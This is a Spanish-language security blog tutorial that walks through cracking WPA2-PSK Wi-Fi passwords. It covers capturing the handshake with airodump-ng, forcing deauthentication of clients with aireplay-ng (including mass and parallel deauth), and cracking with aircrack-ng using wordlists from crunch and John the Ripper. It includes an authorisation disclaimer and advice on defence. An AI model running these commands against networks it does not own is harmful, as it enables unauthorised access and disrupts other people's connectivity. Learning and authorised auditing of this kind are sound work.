Ataque de diccionario WPA2-PSK: captura de handshake y cracking | RodrionCyber
WiFi Security Dificultad: Media

Ataque de diccionario WPA2-PSK: captura del handshake y cracking

✍️ Hugo ⏱️ 15 min de lectura
Imagen destacada del artículo

WPA2-PSK es criptográficamente sólido, pero tiene un punto débil crítico: si la passphrase es débil o está en un diccionario, basta capturar el 4-Way Handshake EAPOL para intentar crackearla offline. En este artículo vemos todo el proceso, desde el escaneo inicial hasta la generación de diccionarios personalizados con crunch.

Solo con autorización expresa Estas técnicas son legales únicamente sobre redes propias o con permiso explícito del propietario. Aplicarlas sobre redes ajenas es un delito en España según la Ley Orgánica 10/1995 del Código Penal. Este contenido es exclusivamente educativo.

Paso 1 — Escuchar el tráfico WiFi

Con la antena en modo monitor activada, el primer paso es lanzar airodump-ng sin filtros para obtener una visión general de todas las redes disponibles en el entorno. Esto nos permite identificar la red objetivo y tomar nota de su canal y BSSID.

sudo airodump-ng wlan0
Salida de airodump-ng mostrando la lista de redes WiFi disponibles con su BSSID, canal, cifrado y clientes

De la lista resultante, anota el BSSID (MAC del AP) y el canal (CH) de la red que quieres auditar. Son los parámetros necesarios para el siguiente paso.

Paso 2 — Fijar la red objetivo y capturar

Una vez identificada la red, filtramos airodump-ng para escuchar únicamente ese AP y guardamos la captura en un archivo. El handshake WPA2 quedará registrado en ese archivo cuando un cliente se conecte o reconecte.

sudo airodump-ng -c 4 --bssid 78:20:51:44:63:80 -w captura wlan0

-c 4

Canal de la red objetivo. Sustituye el 4 por el canal real que viste en el paso anterior.

--bssid

MAC del AP objetivo. Filtra el tráfico para capturar solo paquetes de esa red.

-w captura

Prefijo del archivo de salida. Se crearán archivos captura.cap, captura.csv, etc.

Salida de airodump-ng filtrando la red objetivo, mostrando el BSSID, canal y clientes conectados
¿Cuándo aparece el handshake? El handshake WPA2 se genera cuando un cliente se autentica o reconecta. Si no hay actividad, puedes provocarlo artificialmente con el paso siguiente. airodump-ng mostrará en la esquina superior derecha WPA handshake: XX:XX:XX:XX:XX:XX cuando lo capture.

Paso 3 — Forzar la reconexión con deautenticación

Si no hay clientes activos reconectándose, podemos provocar un handshake enviando tramas de deautenticación (deauth) a un cliente específico. Esto lo desconecta momentáneamente del AP y, al reconectarse, genera un nuevo handshake que capturamos con airodump-ng corriendo en paralelo.

sudo aireplay-ng -0 9 -a 78:20:51:44:63:80 -c DC:A2:66:44:84:F7 wlan0

-0 9

Envía 9 tramas de deautenticación. Puedes aumentarlo si el cliente no se desconecta.

-a

BSSID del AP objetivo.

-c

MAC del cliente (station) que quieres desconectar. Lo ves en la parte inferior de airodump-ng.

Alternativa: deauth masivo Si prefieres enviar un flujo continuo de deautenticaciones (útil cuando el cliente se reconecta rápidamente), puedes aumentar el contador a un valor alto. Recuerda que esto afectará la conectividad del cliente mientras se ejecuta.
sudo aireplay-ng --deauth 100000 -a (bssid) -c (station) wlan0

Paso 4 — Analizar el handshake con aircrack-ng

Con el handshake capturado en el archivo .cap, lanzamos aircrack-ng para intentar crackear la contraseña usando un diccionario. Aircrack-ng recalcula la PMK para cada candidato del diccionario y verifica el MIC del handshake capturado.

sudo aircrack-ng -b (bssid) -w (diccionario) archivo.cap

-b (bssid)

Filtra el handshake del AP correcto dentro del archivo de captura.

-w (diccionario)

Ruta al archivo de diccionario. Puede ser rockyou.txt, un diccionario propio o la salida de crunch.

archivo.cap

Archivo de captura que generó airodump-ng con el handshake incluido.

Deautenticar varias estaciones en paralelo

Si la red tiene varios clientes conectados, puedes lanzar deautenticaciones simultáneas a cada uno usando procesos en segundo plano. Esto aumenta las posibilidades de capturar el handshake rápidamente.

sudo aireplay-ng --deauth 100000 -a (bssid) -c (station1) wlan0 &>/dev/null & sudo aireplay-ng --deauth 100000 -a (bssid) -c (station2) wlan0 &>/dev/null &
Terminal mostrando dos comandos aireplay-ng ejecutándose en paralelo en segundo plano

Gestionar los procesos en segundo plano

jobs -l
Salida del comando jobs -l mostrando los procesos aireplay-ng en segundo plano con sus PIDs
sudo kill (pid)
Terminal mostrando el comando kill con el PID del proceso aireplay-ng para detenerlo

Diccionarios según el fabricante del router

Muchos routers domésticos generan contraseñas WiFi predeterminadas siguiendo patrones relacionados con el fabricante: combinaciones de letras mayúsculas y números de una longitud fija, o palabras derivadas del modelo. Conocer el fabricante puede acotar enormemente el espacio de búsqueda.

Identificar el fabricante: usa los primeros 3 bytes del BSSID (OUI). Búscalos en una base de datos pública como macvendors.com.

Investigar el patrón: muchos fabricantes documentan (o tienen filtrados) sus algoritmos de generación de contraseñas por defecto. Busca en foros de seguridad específicos del modelo.

Generar el diccionario: usa crunch con el patrón del fabricante para crear un diccionario acotado. Esto reduce millones de combinaciones a miles o menos.

Crunch — Generación de diccionarios personalizados

crunch es una herramienta que genera diccionarios de contraseñas según una longitud y conjunto de caracteres definidos. Es ideal cuando conoces el patrón de la contraseña (longitud, tipo de caracteres, posiciones fijas).

sudo crunch [min] [max] [caracteres] -t [patrón] -o [archivo_salida]

[min] [max]

Longitud mínima y máxima de las contraseñas generadas.

[caracteres]

Conjunto de caracteres a usar. Ej: abc123 o ABCDEFGHIJ0123456789.

-t [patrón]

Define posiciones fijas. @ = posición variable, , = mayúscula, % = número.

-o [archivo]

Guarda el diccionario generado en un archivo de texto.

Ejemplo práctico

Generar todas las combinaciones de 6 caracteres que empiecen por "a", terminen en "c" y tengan 4 posiciones variables con los caracteres abc123:

sudo crunch 6 6 abc123 -t a@@@@c -o diccionario.txt # Genera combinaciones como: a1234c, aabcac, a3b2cc, etc.

Ataque en línea — Sin guardar el diccionario en disco

Cuando el diccionario generado por crunch sería muy grande para guardarse en disco (puede llegar a terabytes), se puede pasar directamente a aircrack-ng a través de una tubería (pipe), sin necesidad de escribirlo primero en un archivo.

sudo crunch 8 8 | sudo aircrack-ng -w - -b (bssid) archivo.cap # -w - → lee el diccionario desde la entrada estándar (stdin)
Rendimiento limitado por CPU El pipe entre crunch y aircrack-ng limita la velocidad al rendimiento de la CPU. Para ataques más eficientes en contraseñas largas o complejas, considera usar hashcat con GPU, que puede ser varios órdenes de magnitud más rápido.

Ataque con pausa y reanudación — John the Ripper

Si el ataque puede tardar horas o días, puedes combinarlo con John the Ripper para tener la capacidad de pausar y reanudar desde donde lo dejaste, algo que no ofrece el pipe directo de crunch.

Ejecutar el ataque con sesión guardada

sudo crunch 8 8 | sudo john --stdin --session=wpa --stdout | sudo aircrack-ng -w - -b (bssid) archivo.cap

Pausar y reanudar

# Pausar: Ctrl + C # Reanudar desde donde se dejó: sudo crunch 8 8 | sudo john --restore=wpa | sudo aircrack-ng -w - -b (bssid) archivo.cap

--session=wpa

Guarda el estado del ataque con el nombre "wpa". Puedes usar cualquier nombre.

--stdout

John actúa como generador de candidatos y los manda por stdout a aircrack-ng.

--restore=wpa

Recupera el estado guardado y continúa desde el último candidato probado.

Cómo defenderse de este ataque La única defensa efectiva contra el ataque de diccionario a WPA2-PSK es una passphrase larga y aleatoria (20+ caracteres mezclando mayúsculas, minúsculas, números y símbolos). Con eso, el espacio de búsqueda es tan grande que ningún diccionario o crunch puede abarcarlo en tiempo razonable. Considera también WPA3 si tu hardware lo soporta, ya que su SAE (Simultaneous Authentication of Equals) protege contra este tipo de ataques offline.

Hugo — El ataque de diccionario a WPA2 es una de las técnicas más comunes en auditorías WiFi precisamente porque no ataca el protocolo en sí, sino la debilidad humana: elegir contraseñas predecibles. La criptografía de WPA2 es sólida; el problema está en la passphrase. Una contraseña de 20 caracteres aleatorios convierte este ataque en computacionalmente inviable.